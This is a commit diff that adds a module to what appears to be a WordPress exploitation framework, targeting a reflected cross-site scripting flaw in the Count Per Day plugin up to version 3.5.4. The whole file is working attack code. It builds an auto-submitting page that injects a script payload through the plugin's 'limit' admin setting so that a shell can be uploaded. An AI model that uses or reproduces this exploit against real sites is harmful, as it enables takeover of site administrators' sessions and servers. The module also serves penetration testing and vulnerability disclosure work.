Add Count Per Day <= 3.5.4 XSS module

rastating · rastating · commit 9eae0d3ff55c · 2016-08-13T21:46:49.000+01:00
diff --git a/modules/exploits/count_per_day_reflected_xss_shell_upload.rb b/modules/exploits/count_per_day_reflected_xss_shell_upload.rb
@@ -0,0 +1,38 @@
+class Wpxf::Exploit::CountPerDayReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Count Per Day <= 3.5.4 Reflected XSS Shell Upload',
+      author: [
+        'Yorick Koster',                  # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8597'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_count_per_day_wordpress_plugin.html']
+      ],
+      date: 'Aug 04 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('count-per-day', '3.5.5')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_admin, 'options-general.php?page=count-per-day%2Fcounter-options.php')
+  end
+
+  def initial_script
+    %|<html><head></head><body><script>
+      #{js_post}
+      post('#{vulnerable_url}', {
+        limit: "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script><input value=\\\""
+      });
+    </script></body></html>
+    |
+  end
+end
